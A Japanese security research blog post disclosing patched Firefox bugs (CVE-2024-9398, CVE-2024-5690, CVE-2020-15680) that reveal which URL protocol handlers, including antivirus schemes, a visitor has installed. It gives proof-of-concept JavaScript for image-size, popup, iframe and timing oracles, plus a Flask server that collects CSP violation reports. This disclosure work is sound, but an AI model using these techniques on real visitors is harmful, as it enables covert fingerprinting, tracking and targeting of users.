
特定のアプリケーションのインストールの有無が露見した場合にどのようなリスクがあるでしょうか。ターゲットユーザが日常的に使用しているコミュニケーションツールが判明した場合には、攻撃者がアカウントを調査し接触を図る手掛かりになります。インストールされているアプリの種類から、ターゲットの属性を推測できます。金融系のアプリが分かればフィッシングの精度向上にも寄与します。ターゲットをWebサイト内でトラッキングする際のフィンガープリンティングにも使用できます。

ターゲットユーザが導入しているセキュリティソフトを特定し、検知回避など次の攻撃の足掛かりとする可能性もあります。以下にFortiGuard LabsのRotem Kerner氏の報告にある、攻撃者にとって有用なカスタムスキームの例を引用します。2020年の報告であるため、現在のサポート状況は不明です。

スキーム ベンダ名
GDataGDATAToastNews GData
malwarebytes MalwareBytes
avastpam Avast
vizorwebs, tmtb, titanium, vizorweb TrendMicro
bdlaunch BitDefender


imgタグのサイズをオラクルとした既知の脆弱性

Mozilla Firefox 82未満では、Rotem Kerner氏よりURLプロトコルハンドラの漏洩の脆弱性が報告されています。この脆弱性は、CVE-2020-15680として採番されており、Mozilla Foundation Security Advisoryに記載されたImpactはmoderateとされます。

CVE-2020-15680: Presence of external protocol handlers could be determined through image tags

彼はimgタグのsrcにカスタムスキームを指定した場合の挙動差を発見しました。以下のようなimgタグを二つ用意します。

<img src="ms-settings://satoki">
<img src="satoki://satoki">

ms-settingsスキームにはWindows設定アプリが起動するよう設定されており、satokiスキームには何も設定されていません。開発者ツールを開き、各imgタグのサイズを確認します。

ms-settings://satokiのimgタグ

satoki://satokiのimgタグ

どちらも画像としての読み込みが失敗しますが、スタイルのサイズが異なっていることが分かります。Firefoxは画像の正常な読み込みに失敗した場合に、壊れた画像を示すアイコンを表示します。このアイコンのサイズが24×24です。ms-settingsスキームではアイコンが表示されています。一方、satokiスキームのようにハンドラが設定されていないスキームではアイコンが表示されないため、サイズは0×0となります。

このサイズの差をオラクル(未知のものを推測する手掛かりとなる既知の情報)とすることで、攻撃者はURLプロトコルハンドラの設定の有無を判別することができます。JavaScriptで大量のimgタグを生成し、各スタイルのwidthが24と一致するか検証することで、サイトの運営者は訪問者のコンピュータにどのようなURLプロトコルハンドラが設定されているかを知ることができます。

 

window.openのエラーをオラクルとした手法 (CVE-2024-9398)

今回、著者が発見した脆弱性の1件目です。本脆弱性では、window.openの戻り値へのアクセス時に発生するエラーの有無をオラクルとして、URLプロトコルハンドラの設定の有無を取得できます。ターゲットユーザがポップアップを許可する必要があるため、危険性は低くなっています。

CVE-2024-9398: External protocol handlers could be enumerated via popups

脆弱性調査を行う中でwindow.openでカスタムスキームを開いた際に、異なるページ表示が行われることを発見しました。開発者ツールのコンソールを開き、以下のJavaScriptを実行します。

open01 = window.open("ms-settings://satoki");
open02 = window.open("satoki://satoki");

ポップアップを許可すると、以下のような二つのページが新しくオープンされます。

ms-settings://satokiで開かれるページ

satoki://satokiで開かれるページ

ms-settingsスキームではアプリケーションを開くため、ユーザへ確認を促すダイアログが表示されています。一方、satokiスキームのようにハンドラが設定されていないスキームでは、ページ読み込みエラーが表示されています。これは開くアプリケーションが存在しないために起こります。この差を知ることはできないでしょうか。

window.openを実行した開発者ツールのコンソールに戻って、返り値のdocumentオブジェクトにアクセスしてみましょう。 

ページ読み込みエラーとなったページのdocumentオブジェクトへのアクセスが、拒否されてエラーとなっています。この挙動はopen02[0]のような配列アクセスでも同様となります。このエラーをキャッチすることで、オラクルとして用いることができます。他にも以下のようにframesの差を用いたオラクルも可能です。

ポップアップが許可されているという条件のもとですが、攻撃者はwindow.openを用いてカスタムスキームを大量に開き、各documentオブジェクトへのアクセスがエラーとなるか検証します。この結果により、攻撃者はURLプロトコルハンドラの設定の有無を判別できます。不自然に開いたページは、最後にwindow.closeですべて閉じることで処理できます。

window.historyの変化をオラクルとした手法

先ほどまでのエラーをオラクルとした手法との違いはほとんどありませんが、Historyの興味深いふるまいを利用した手法も発見しています。CTFなどではよく知られている、History Length経由でユーザの情報を取得するテクニックを応用します。本手法はwindow.openのエラーをオラクルとした手法 (CVE-2024-9398)に含めて報告しています。window.openで開くまでは同様となりますが、window.locationを更新した際のwindow.historyの変化を利用します。

ハンドラが設定されているms-settings://satokiをwindow.openした後に、window.locationをフラグメント付きのms-settings://satoki#satokiに変更し、その後に再度window.locationをabout:blankに変更します。するとwindow.history.lengthは1となります。どうやらwindow.locationの更新ではHistoryが増加しないようです。

一方、ハンドラが設定されていないスキームsatoki://satokiをwindow.openし、window.locationをsatoki://satoki#satokiabout:blankと二度変更します。すると、window.history.lengthへアクセスが可能となり、window.history.lengthは2となります。こちらはHistoryが増加するようです。

これらの挙動をまとめると、window.locationの更新ではハンドラが設定されていないスキームのみ、Historyが増加します。このwindow.historyの変化をオラクルとして、攻撃者はURLプロトコルハンドラの設定の有無を判別できます。

iframe.contentWindow.history.lengthのエラーをオラクルとした手法

window.openで新しいページを開くためには、ポップアップの許可が必要となります。ポップアップはターゲットユーザが意図的に許可しなければならず、ユーザのアクションが必要となるためステルス性が低下します。ターゲットユーザがポップアップを許可する必要のない手法も発見しており、window.openのエラーをオラクルとした手法 (CVE-2024-9398)に含めて報告しています。本手法はステルス性を向上させるため、カスタムスキームごとにiframeを作成し、iframe.contentWindow.history.lengthへアクセスした際のエラーの有無を利用します。

ハンドラが設定されているms-settings://satokiとハンドラが設定されていないsatoki://satokiの二つのiframeを作成します。開発者ツールのコンソールを開き、以下のJavaScriptを実行します。注意点として、Firefoxではある程度の間隔をあけなければiframeを連続して開くことができない制約があります。

iframe01 = document.createElement("iframe");
document.body.appendChild(iframe01);
iframe01.sandbox="";
iframe01.src = "ms-settings://satoki";
// sleep 10~20s
iframe02 = document.createElement("iframe");
document.body.appendChild(iframe02);
iframe02.sandbox="";
iframe02.src = "satoki://satoki";

すると以下のような二つのiframeが新しく開かれます。ここではsandbox属性により、ユーザへ確認を促すダイアログを表示させないテクニックも用いています。

ms-settingsスキームのようにハンドラが設定されている場合は空白のページ、satokiスキームのようにハンドラが設定されていない場合はページ読み込みエラーが表示されています。これはwindow.openと同様です。ここで各iframeのcontentWindow.history.lengthへアクセスしてみましょう。

satokiスキームでのcontentWindow.history.lengthのアクセスが、拒否されてエラーとなっています。この挙動はabout:blankでiframeを作成した後に、srcを指定することで発生します。このエラーをキャッチすることで、オラクルとして用いることができます。

攻撃者は指定した間隔ごとにiframeでカスタムスキームを開き、contentWindow.history.lengthへのアクセスがエラーとなるか検証します。結果により、攻撃者はURLプロトコルハンドラの設定の有無を判別できます。また、ポップアップが一度でも許可されているという条件のもとではiframeを連続して開くことができるため、window.openよりも強力な手法と言えます。

 

imgタグのonerror発火時間をオラクルとした手法 (CVE-2024-5690)

今回、著者が発見した脆弱性の2件目です。本脆弱性では、imgタグの生成から読み込みエラーイベント(onerror)が発火するまでの時間をオラクルとして、URLプロトコルハンドラの設定の有無を取得できます。ターゲットユーザのアクションは不要です。

CVE-2024-5690: External protocol handlers leaked by timing attack

脆弱性調査を行う中で、imgタグにカスタムスキームを設定した際におけるイベントの発火について検証を行いました。イベントは以下のようにimgタグに設定できます。

<img src="ms-settings://satoki" onerror="alert('ms-settings')">
<img src="satoki://satoki" onerror="alert('satoki')">

幸いなことにイベントの発火はハンドラの設定の有無とは無関係に行われることが分かりました。そこで、イベントが発火するまでの時間を計測してみることにしました。開発者ツールのコンソールを開き、以下のJavaScript関数を作成します。

async function measureLoadTime(ph, numberOfTrials) {
    let totalTime = 0;
    for (let i = 0; i < numberOfTrials; i++) {
        const startTime = performance.now();
        await new Promise(resolve => {
            const img = document.createElement("img");
            document.body.appendChild(img);
            img.onload = img.onerror = function() {
                const endTime = performance.now();
                totalTime += endTime - startTime;
                img.parentNode.removeChild(img);
                resolve();
            };
            img.src = ph;
        });
    }
    return totalTime;
}

この関数では、初めにimgタグを生成します。次に、受け渡された第一引数をimgタグのsrcに設定します。その後に、onloadイベント(読み込み完了)またはonerrorイベント(読み込み失敗)が発火するまでの時間を計測します。さらに、この一連の計測を第二引数の回数だけ繰り返し実行し、累積した時間を返します。つまりmeasureLoadTime("satoki://satoki", 10000);を呼び出すと、satoki://satokiのonerrorイベントが発火するまでの時間を10000回分計測し、累積した時間を返します。この関数を用いて以下のJavaScriptを実行し、カスタムスキームに対し10000回分の時間を計測します。

measureLoadTime("ms-settings://satoki", 10000).then(time => console.log(time));
measureLoadTime("satoki://satoki", 10000).then(time => console.log(time));

順番を入れ替え、複数回行った結果は以下の通りとなりました。

ms-settingsスキームのイベントが発火するまでの時間に比べ、satokiスキームのイベントの発火が倍ほど早いことが分かります。様々なカスタムスキームで検証した結果、ハンドラが設定されているスキームはイベントの発火が遅延していることが判明しました。この遅延をオラクルとして用いることができます。

攻撃者はJavaScriptで大量のimgタグを生成し、各タグのイベント発火までにかかった時間を計測します。速度は環境により異なりますが、ハンドラが設定されていないスキームの値をあらかじめ保持しておき、比較することでURLプロトコルハンドラの設定の有無を判別できます。

 

CSPのreport-uriディレクティブリクエストをオラクルとした手法 (CVE-2024-5690:DUPLICATE)

今回、著者が発見した脆弱性の3件目です。imgタグのonerror発火時間をオラクルとした手法 (CVE-2024-5690)よりも前に報告していましたが、修正が同様の箇所で済んだためDUPLICATEとなりました。タイミングを調整して上手く報告していれば認定されたと感じています。本脆弱性では、imgタグの読み込みをCSP(Content Security Policy)でブロックした際の振る舞いを利用します。CSPのreport-uriディレクティブに設定したURLへのリクエストをオラクルとして、URLプロトコルハンドラの設定の有無を取得できます。ターゲットユーザのアクションは不要です。

脆弱性調査を行う中で、imgタグをCSPでブロックした際の挙動について検証を行いました。CSPをimg-src 'self'に設定したページにおいて、ブロックしたimgタグのスタイルに差が生じればそれを利用することができます。カスタムスキームはselfでないため、すべてが一律でブロックされると予想されます。以下のようなHTMLを作成して調査します。

<html>
    <head>
        <meta http-equiv="Content-Security-Policy" content="img-src 'self';">
    </head>
    <body>
        <img src="ms-settings://satoki">
        <img src="satoki://satoki">
    </body>
</html>

開発者ツールでimgタグのスタイルなどを調査していると、コンソールに以下のような奇妙な表示があることに気付きました。

imgタグが二つ含まれているにもかかわらず、CSPによるブロックがms-settingsスキームのみとなっています。これはimgタグの順番を変更しても同様でした。つまり、ハンドラが設定されているスキームはCSPによりリソースの読み込みがブロックされますが、設定されていないスキームはリソースとしての読み込み自体が発生していないと考えられます。読み込み自体が発生していないため、CSPにはブロックされません。このようなCSPでのブロックの有無を外部から観測できるでしょうか。

ここで、CSPには違反(ブロック)を報告するディレクティブであるreport-uriが設定可能である事を思い出しました。Content-Security-Policy: report-uri http://localhost;のように設定することにより、ページ内のコンテンツでCSP違反が発生した際に、ブラウザがhttp://localhostへ違反内容をJSONでPOSTします。report-uriはmetaタグでは指定できないため、以下のように簡易的なサーバプログラムを用意します。

from flask import Flask, request, make_response

app = Flask(__name__)

@app.route("/")
def index():
    response = make_response(
        f"""
<html>
    <body>
        <img src="ms-settings://satoki">
        <img src="satoki://satoki">
    </body>
</html>
"""
    )
    response.headers["Content-Security-Policy"] = (
        f"img-src 'self'; report-uri http://localhost:5555/recv;"
    )
    return response

@app.route("/recv", methods=["POST"])
def recv():
    print(request.get_data().decode("utf-8"))
    return "OK"

if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=5555)

この簡易的なサーバプログラムはポート5555でアクセスを待ち受け、imgタグを二つ表示します。imgタグにはCSPでimg-src 'self';という制限がかかっています。また、CSPの違反の報告先はreport-uri http://localhost:5555/recv;と指定されています。報告を受け取るパスの/recvでは、受け取ったCSP違反の報告をprintしています。このサーバのページを開いたときにprintされたJSONは以下の通りでした。

{
  "csp-report": {
    "blocked-uri": "ms-settings",
    "column-number": 1,
    "disposition": "enforce",
    "document-uri": "http://localhost:5555/",
    "effective-directive": "img-src",
    "original-policy": "img-src 'self'; report-uri http://localhost:5555/recv",
    "referrer": "",
    "status-code": 200,
    "violated-directive": "img-src"
  }
}

blocked-uriにブロックされたms-settingsスキームが表示されていることが分かります。このリクエストをオラクルとして用いることができます。同様にscriptタグをscript-srcディレクティブで制限した場合や、audioまたはvideoタグをmedia-srcディレクティブで制限した際のリクエストもオラクルとして用いることができます。

攻撃者はあらかじめimgタグを大量にしたページを用意します。ページのCSPはimgタグを必ずブロックするものとし、report-uriディレクティブに攻撃者自身のサーバを設定します。攻撃者は受け取ったCSP違反の報告のblocked-uriの内容から、URLプロトコルハンドラの設定の有無を判別できます。

 

修正

CVE-2024-9398

プロトコルハンドラの設定が有る場合にはabout:blankでポップアップが表示されており、プロトコルハンドラの設定が無い場合にはネットワークエラーページが表示されていました。この差によって、プロパティへのアクセス違反の有無が生じていることが原因でした。プロトコルハンドラの設定が無い場合にもabout:blankを用いることで、差をなくす修正が行われました。

CVE-2024-5690

プロトコルハンドラの設定の有無のチェックが、CSPを含むセキュリティチェックよりも前に行われていたことが原因でした。結果として、エラーイベントが発火するまでの時間にも差が出ています。プロトコルハンドラの設定が無い場合に、早期にリターンを行う機能を削除する修正が行われました。また、DUPLICATEとなった脆弱性も同様の修正で解消されています。

 

おわりに

本記事では、URLプロトコルハンドラの設定の有無がページ経由で漏洩する脆弱性について解説しました。一見無害に思えるURLプロトコルハンドラの設定情報でも、攻撃者視点では悪用手法が見いだせる可能性があります。ブラウザの最適化など実装の違いによる挙動の差はしばしば発生します。セキュリティエンジニアは常にオフェンシブな視点を持ち、無害と思える情報にも疑いの目を向けることが求められます。

リチェルカセキュリティではWeb分野での未知の攻撃を日々研究し、お客様へのソリューションの提供に役立てています。発見した脆弱性の報告はもちろんのこと、登壇資料作成の業務時間への算入や、平日の登壇に対する特別休暇の付与など、外部発表などを支援する登壇支援制度も設けられています。

有名ソフトウェアの0-day脆弱性調査をはじめ、研究開発など若い才能にお任せしたい業務がたくさんあります。この記事を読んで当社の取り組みにご興味を持った方は、ぜひカジュアル面談にお申し込みください。